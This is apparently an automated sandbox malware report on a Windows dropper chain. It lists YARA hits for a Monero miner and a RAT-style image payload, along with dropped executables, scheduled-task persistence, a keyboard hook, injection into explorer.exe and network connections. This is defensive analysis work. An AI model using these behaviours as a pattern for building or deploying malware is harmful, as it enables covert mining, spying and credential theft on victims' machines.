                              Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49879 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49880 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49888 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49888 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49925 version: TLS 1.2

                              Key, Mouse, Clipboard, Microphone and Screen Capturing

                              barindex
                              Contains functionality to register a low level keyboard hook
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_00408DBB SetWindowsHookExW 00000002,Function_00008D8D,00000000,000000006_2_00408DBB

                              System Summary

                              barindex
                              Malicious sample detected (through community Yara rule)
                              Source: 46.3.Intel_PTT_EK_Recertification.exe.202aa9d0000.0.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
                              Source: 46.3.Intel_PTT_EK_Recertification.exe.202aa9d0000.0.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
                              Source: 30.3.Intel_PTT_EK_Recertification.exe.1fe626e0000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
                              Source: 30.3.Intel_PTT_EK_Recertification.exe.1fe626e0000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
                              Source: 30.3.Intel_PTT_EK_Recertification.exe.1fe626e0000.0.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
                              Source: 30.3.Intel_PTT_EK_Recertification.exe.1fe626e0000.0.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
                              Source: 47.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
                              Source: 47.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
                              Source: 31.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
                              Source: 31.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
                              Source: 46.3.Intel_PTT_EK_Recertification.exe.202aa9d0000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
                              Source: 46.3.Intel_PTT_EK_Recertification.exe.202aa9d0000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
                              Source: 0000001E.00000003.2521605943.000001FE626E0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
                              Source: 0000001E.00000003.2521605943.000001FE626E0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects coinmining malware Author: ditekSHen
                              Source: 0000002E.00000003.2876108637.00000202AA9D0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
                              Source: 0000002E.00000003.2876108637.00000202AA9D0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects coinmining malware Author: ditekSHen
                              Source: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f, type: DROPPEDMatched rule: Detects images embedding archives. Observed in TheRat RAT. Author: ditekSHen
                              Source: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\output[1].png, type: DROPPEDMatched rule: Detects images embedding archives. Observed in TheRat RAT. Author: ditekSHen
                              Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\output[1].png, type: DROPPEDMatched rule: Detects images embedding archives. Observed in TheRat RAT. Author: ditekSHen
                              Drops password protected ZIP file
                              Source: file.bin.6.drZip Entry: encrypted
                              PE file contains section with special chars
                              Source: file.exeStatic PE information: section name:
                              Source: file.exeStatic PE information: section name: .idata
                              Source: skotes.exe.0.drStatic PE information: section name:
                              Source: skotes.exe.0.drStatic PE information: section name: .idata
                              Source: random[2].exe.5.drStatic PE information: section name:
                              Source: random[2].exe.5.drStatic PE information: section name: .idata
                              Source: random[2].exe.5.drStatic PE information: section name:
                              Source: b7c03317c9.exe.5.drStatic PE information: section name:
                              Source: b7c03317c9.exe.5.drStatic PE information: section name: .idata
                              Source: b7c03317c9.exe.5.drStatic PE information: section name:
                              Source: random[1].exe2.5.drStatic PE information: section name:
                              Source: random[1].exe2.5.drStatic PE information: section name: .idata
                              Source: random[1].exe2.5.drStatic PE information: section name:
                              Source: b2885fa695.exe.5.drStatic PE information: section name:
                              Source: b2885fa695.exe.5.drStatic PE information: section name: .idata
                              Source: b2885fa695.exe.5.drStatic PE information: section name:
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_0016CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,5_2_0016CB97
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00C896AC: free,GetFileInformationByHandle,DeviceIoControl,free,free,memmove,free,10_2_00C896AC
                              Source: C:\Users\user\Desktop\file.exeFile created: C:\Windows\Tasks\skotes.jobJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeFile created: C:\Windows\Tasks\Gxtuum.job
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeFile created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\output[1].png
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeFile created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\json[1].json
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeFile created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\sendMessage[1].json
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeFile deleted: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\output[1].png
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00B378BB0_2_00B378BB
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00B388600_2_00B38860
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00B370490_2_00B37049
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00B331A80_2_00B331A8
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00AF4B300_2_00AF4B30
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00AF4DE00_2_00AF4DE0
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00B32D100_2_00B32D10
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00B3779B0_2_00B3779B
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00B27F360_2_00B27F36
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 1_2_001970491_2_00197049
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 1_2_001988601_2_00198860
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 1_2_001978BB1_2_001978BB
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 1_2_001931A81_2_001931A8
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 1_2_00154B301_2_00154B30
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 1_2_00192D101_2_00192D10
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 1_2_00154DE01_2_00154DE0
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 1_2_00187F361_2_00187F36
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 1_2_0019779B1_2_0019779B
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_0015E5305_2_0015E530
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_001761925_2_00176192
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_001988605_2_00198860
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_00154B305_2_00154B30
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_00192D105_2_00192D10
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_00154DE05_2_00154DE0
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_00170E135_2_00170E13
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_001970495_2_00197049
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_001931A85_2_001931A8
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_001716025_2_00171602
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_0019779B5_2_0019779B
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_001978BB5_2_001978BB
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_00173DF15_2_00173DF1
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_00187F365_2_00187F36
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_00405BFC6_2_00405BFC
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_0040B0E06_2_0040B0E0
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_0040B0E46_2_0040B0E4
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_004199736_2_00419973
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_0040A9006_2_0040A900
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_0040A2706_2_0040A270
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_0040AC206_2_0040AC20
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_00409C206_2_00409C20
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_0040D4806_2_0040D480
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_0040ED006_2_0040ED00
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_00409DD06_2_00409DD0
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_004196016_2_00419601
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_004196DB6_2_004196DB
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_00418F406_2_00418F40
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00CAF13E10_2_00CAF13E
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00CA24C010_2_00CA24C0
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00CA545810_2_00CA5458
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00CA47AC10_2_00CA47AC
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00CC881710_2_00CC8817
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00C90DCC10_2_00C90DCC
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00C8F1B410_2_00C8F1B4
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00C8B11410_2_00C8B114
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00C9C27810_2_00C9C278
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00CB257810_2_00CB2578
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00CC352810_2_00CC3528
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00CB066E10_2_00CB066E
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00CAD66C10_2_00CAD66C
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00C9D85810_2_00C9D858
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00CB79DC10_2_00CB79DC
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00CC49A510_2_00CC49A5
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00CB99B810_2_00CB99B8
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00CA694C10_2_00CA694C
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00CBFA0C10_2_00CBFA0C
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00CCDA3010_2_00CCDA30
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00C98CA810_2_00C98CA8
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00C97C6810_2_00C97C68
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00CCDC1110_2_00CCDC11
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00CCDD0010_2_00CCDD00
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00CA6E0810_2_00CA6E08
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00C9AF5810_2_00C9AF58
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00C88F1810_2_00C88F18
                              Source: Joe Sandbox ViewDropped File: C:\Program Files\Windows Media Player\graph\graph.exe D6E7CEB5B05634EFBD06C3E28233E92F1BD362A36473688FBAF952504B76D394
                              Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeProcess token adjusted: SecurityJump to behavior
                              Source: C:\Users\user\Desktop\file.exeCode function: String function: 00B080C0 appears 130 times
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: String function: 00167A00 appears 38 times
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: String function: 0016D64E appears 66 times
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: String function: 0016D942 appears 83 times
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: String function: 0016D663 appears 39 times
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: String function: 0016DF80 appears 63 times
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: String function: 00188E10 appears 35 times
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: String function: 001680C0 appears 263 times
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: String function: 004029A6 appears 44 times
                              Source: file.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                              Source: 46.3.Intel_PTT_EK_Recertification.exe.202aa9d0000.0.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
                              Source: 46.3.Intel_PTT_EK_Recertification.exe.202aa9d0000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
                              Source: 30.3.Intel_PTT_EK_Recertification.exe.1fe626e0000.0.raw.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
                              Source: 30.3.Intel_PTT_EK_Recertification.exe.1fe626e0000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
                              Source: 30.3.Intel_PTT_EK_Recertification.exe.1fe626e0000.0.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
                              Source: 30.3.Intel_PTT_EK_Recertification.exe.1fe626e0000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
                              Source: 47.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
                              Source: 47.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
                              Source: 31.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
                              Source: 31.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
                              Source: 46.3.Intel_PTT_EK_Recertification.exe.202aa9d0000.0.raw.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
                              Source: 46.3.Intel_PTT_EK_Recertification.exe.202aa9d0000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
                              Source: 0000001E.00000003.2521605943.000001FE626E0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
                              Source: 0000001E.00000003.2521605943.000001FE626E0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
                              Source: 0000002E.00000003.2876108637.00000202AA9D0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
                              Source: 0000002E.00000003.2876108637.00000202AA9D0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
                              Source: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f, type: DROPPEDMatched rule: INDICATOR_SUSPICIOUS_IMG_Embedded_Archive author = ditekSHen, description = Detects images embedding archives. Observed in TheRat RAT.
                              Source: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\output[1].png, type: DROPPEDMatched rule: INDICATOR_SUSPICIOUS_IMG_Embedded_Archive author = ditekSHen, description = Detects images embedding archives. Observed in TheRat RAT.
                              Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\output[1].png, type: DROPPEDMatched rule: INDICATOR_SUSPICIOUS_IMG_Embedded_Archive author = ditekSHen, description = Detects images embedding archives. Observed in TheRat RAT.
                              Source: file.exeStatic PE information: Section: ZLIB complexity 0.9982012091280654
                              Source: skotes.exe.0.drStatic PE information: Section: ZLIB complexity 0.9982012091280654
                              Source: random[2].exe.5.drStatic PE information: Section: pfkrromk ZLIB complexity 0.9940523481638418
                              Source: b7c03317c9.exe.5.drStatic PE information: Section: pfkrromk ZLIB complexity 0.9940523481638418
                              Source: random[1].exe2.5.drStatic PE information: Section: ZLIB complexity 0.9974582619863014
                              Source: random[1].exe2.5.drStatic PE information: Section: wekcazbo ZLIB complexity 0.9943740803274977
                              Source: b2885fa695.exe.5.drStatic PE information: Section: ZLIB complexity 0.9974582619863014
                              Source: b2885fa695.exe.5.drStatic PE information: Section: wekcazbo ZLIB complexity 0.9943740803274977
                              Source: random[2].exe1.5.dr, Program.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
                              Source: random[2].exe1.5.dr, Program.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                              Source: 322c3dce5b.exe.5.dr, Program.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
                              Source: 322c3dce5b.exe.5.dr, Program.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                              Source: classification engineClassification label: mal100.troj.spyw.evad.mine.winEXE@84/60@12/13
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_00409606 wvsprintfW,GetLastError,FormatMessageW,FormatMessageW,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,??2@YAPAXI@Z,lstrcpyW,lstrcpyW,lstrcpyW,??3@YAXPAX@Z,LocalFree,6_2_00409606
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00C8AC74 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,10_2_00C8AC74
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00C91D04 GetCurrentProcess,CloseHandle,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,GetLastError,CloseHandle,10_2_00C91D04
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_0040122A GetDiskFreeSpaceExW,SendMessageW,6_2_0040122A
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_004092C1 GetDlgItem,GetDlgItem,SendMessageW,GetDlgItem,GetWindowLongW,GetDlgItem,SetWindowLongW,GetSystemMenu,EnableMenuItem,GetDlgItem,SetFocus,SetTimer,CoCreateInstance,GetDlgItem,IsWindow,GetDlgItem,EnableWindow,GetDlgItem,ShowWindow,6_2_004092C1
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_004020BF GetModuleHandleW,FindResourceExA,FindResourceExA,FindResourceExA,SizeofResource,LoadResource,LockResource,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,wsprintfW,LoadLibraryA,GetProcAddress,6_2_004020BF
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeFile created: C:\Program Files\Google\Chrome\Extensions
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exeJump to behavior
                              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7896:120:WilError_03
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeMutant created: NULL
                              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7716:120:WilError_03
                              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3288:120:WilError_03
                              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6344:120:WilError_03
                              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2936:120:WilError_03
                              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6984:120:WilError_03
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeMutant created: \Sessions\1\BaseNamedObjects\48cb35e3030a2b429c6ac414faba9b49
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeMutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeMutant created: \Sessions\1\BaseNamedObjects\My_mutex
                              Source: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exeMutant created: \Sessions\1\BaseNamedObjects\FloppyShip
                              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1352:120:WilError_03
                              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7660:120:WilError_03
                              Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\abc3bc1985Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\explorer.exe
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\explorer.exe
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\explorer.exe
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\explorer.exe
                              Source: C:\Users\user\Desktop\file.exeFile read: C:\Users\desktop.iniJump to behavior
                              Source: C:\Users\user\Desktop\file.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeFile read: C:\Windows\System32\drivers\etc\hosts
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeFile read: C:\Windows\System32\drivers\etc\hosts
                              Source: b2885fa695.exe, 00000020.00000003.2583292514.0000000005665000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                              Source: file.exeVirustotal: Detection: 55%
                              Source: file.exeReversingLabs: Detection: 55%
                              Source: file.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
                              Source: skotes.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
                              Source: skotes.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
                              Source: C:\Users\user\Desktop\file.exeFile read: C:\Users\user\Desktop\file.exeJump to behavior
                              Source: unknownProcess created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
                              Source: C:\Users\user\Desktop\file.exeProcess created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
                              Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exe "C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exe"
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
